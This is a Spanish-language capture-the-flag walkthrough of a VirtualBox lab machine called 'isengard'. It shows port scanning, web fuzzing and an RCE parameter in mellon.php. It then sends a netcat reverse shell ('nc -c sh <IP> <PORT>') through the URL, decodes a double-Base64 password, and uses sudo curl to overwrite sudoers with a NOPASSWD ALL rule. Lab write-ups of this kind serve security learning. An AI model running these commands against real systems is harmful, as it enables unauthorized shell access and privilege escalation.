Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-03 03:12 EDT
Nmap scan report for 192.168.5.35
Host is up (0.00073s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.51 ((Debian))
|_http-server-header: Apache/2.4.51 (Debian)
|_http-title: Gray wizard
MAC Address: 08:00:27:AA:BE:9D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.79 seconds
Veremos que solo hay un puerto 80 por lo que vamos a entrar dentro de dicho puerto, ya que aloja una pagina web, si entramos dentro veremos una pagina con un texto escrito pero que no nos interesa mucho, vamos a realizar un poco de fuzzing a ver que encontramos.
Si nos vamos al main.css en la pagina web y bajamos abajo del todo veremos lo siguiente:
/* btw: in the robots.txt i have to put the url /y0ush4lln0tp4ss */
Vemos un comentario en CSS que parece ser la ruta de un directorio web, por lo que vamos a entrar a ver si existe.
Si inspeccionamos codigo veremos cosas pero ninguna interesante, por lo que vamos a realizar un poco de fuzzing web, a ver que nos encontramos.
Gobuster
Info:
Veremos que hay un directorio llamado /east el cual vamos a realizarle mas fuzzing de nuevo.
Info:
Veremos que nos ha encontrado un archivo .php el cual es bastante interesante, ya que solamente tenemos el puerto 80 y no hay SSH vamos a probar a ver si tuviera algun parametro vulnerable para un RCE.
Escalate user www-data
FFUF
Info:
Veremos que hemos encontrado un parametro en el que se puede ejecutar codigo de forma remota (RCE), por lo que vamos a entrar para verificarlo.
Info:
Vemos que funciona, por lo que vamos a realizar una reverse shell de esta forma:
Antes de enviarlo nos pondremos a la escucha.
Ahora si enviamos el anterior comando y volvemos a donde tenemos la escucha veremos lo siguiente:
Vemos que hemos obtenido una shell como el usuario www-data por lo que vamos a sanitizarla.
Sanitización de shell (TTY)
Escalate user sauron
Si listamos la carpeta de /east del directorio web, veremos lo siguiente:
Vemos que hay un archivo interesante llamado ring.zip y oooREADMEooo si leemos el segundo archivo veremos lo siguiente:
Nos esta diciendo que no hay solo un ring por lo que vamos a buscar el segundo.
Info:
Vemos que esta en una ruta super larga, por lo que vamos a irnos a la carpeta /tmp y vamos a moverlo a dicha carpeta de esta forma:
Ahora vamos a descomprimirlo.
Info:
Vemos que nos ha dado un .txt si lo leemos veremos lo siguiente:
Vemos que esta codificado en Base64 por lo que vamos a decodificarlo desde nuestro host:
Info:
Utilizo dos veces de decodificacion ya que esta dos veces codificado, vamos a probar a meter como contraseña del usuario sauron esa palabra.
Metemos como contraseña yXKMw5wpSArL2CLX y veremos que estamos dentro, por lo que leeremos la flag del usuario.
user.txt
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Veremos que podemos ejecutar el binario curl como el usuario root, por lo que podremos realizar esto.
Lo guardamos y haremos lo siguiente:
Info:
Ahora si hacemos sudo -l veremos lo siguiente:
Vemos que ha funcionado, por lo que seremos root de esta forma.
URL = http://<IP>/y0ush4lln0tp4ss/east/mellon.php?frodo=nc -c sh <IP> <PORT>
nc -lvnp <IP>
listening on [any] 7777 ...
connect to [192.168.5.4] from (UNKNOWN) [192.168.5.35] 53132
whoami
www-data
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
total 84
drwxr-xr-x 2 root root 4096 Nov 11 2021 .
drwxr-xr-x 3 root root 4096 Nov 11 2021 ..
-rw-r--r-- 1 root root 285 Nov 11 2021 index.html
-rw-r--r-- 1 root root 47 Nov 2 2021 main.css
-rwxrwxrwx 1 root root 33 Nov 11 2021 mellon.php
-rw-r--r-- 1 root root 54 Nov 11 2021 oooREADMEooo
-rw-r--r-- 1 root root 6042 Nov 11 2021 ring.zip
-rw-r--r-- 1 root root 51658 Nov 2 2021 speakfriendandenter.jpg
it is not easy to find the unique ring
keep searching
Matching Defaults entries for sauron on isengard:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User sauron may run the following commands on isengard:
(ALL) /usr/bin/curl
cd /tmp
nano sauron
#Dentro del nano
sauron ALL=(ALL:ALL) NOPASSWD: ALL
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 35 100 35 0 0 35000 0 --:--:-- --:--:-- --:--:-- 35000
Matching Defaults entries for sauron on isengard:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User sauron may run the following commands on isengard:
(ALL) /usr/bin/curl
(ALL : ALL) NOPASSWD: ALL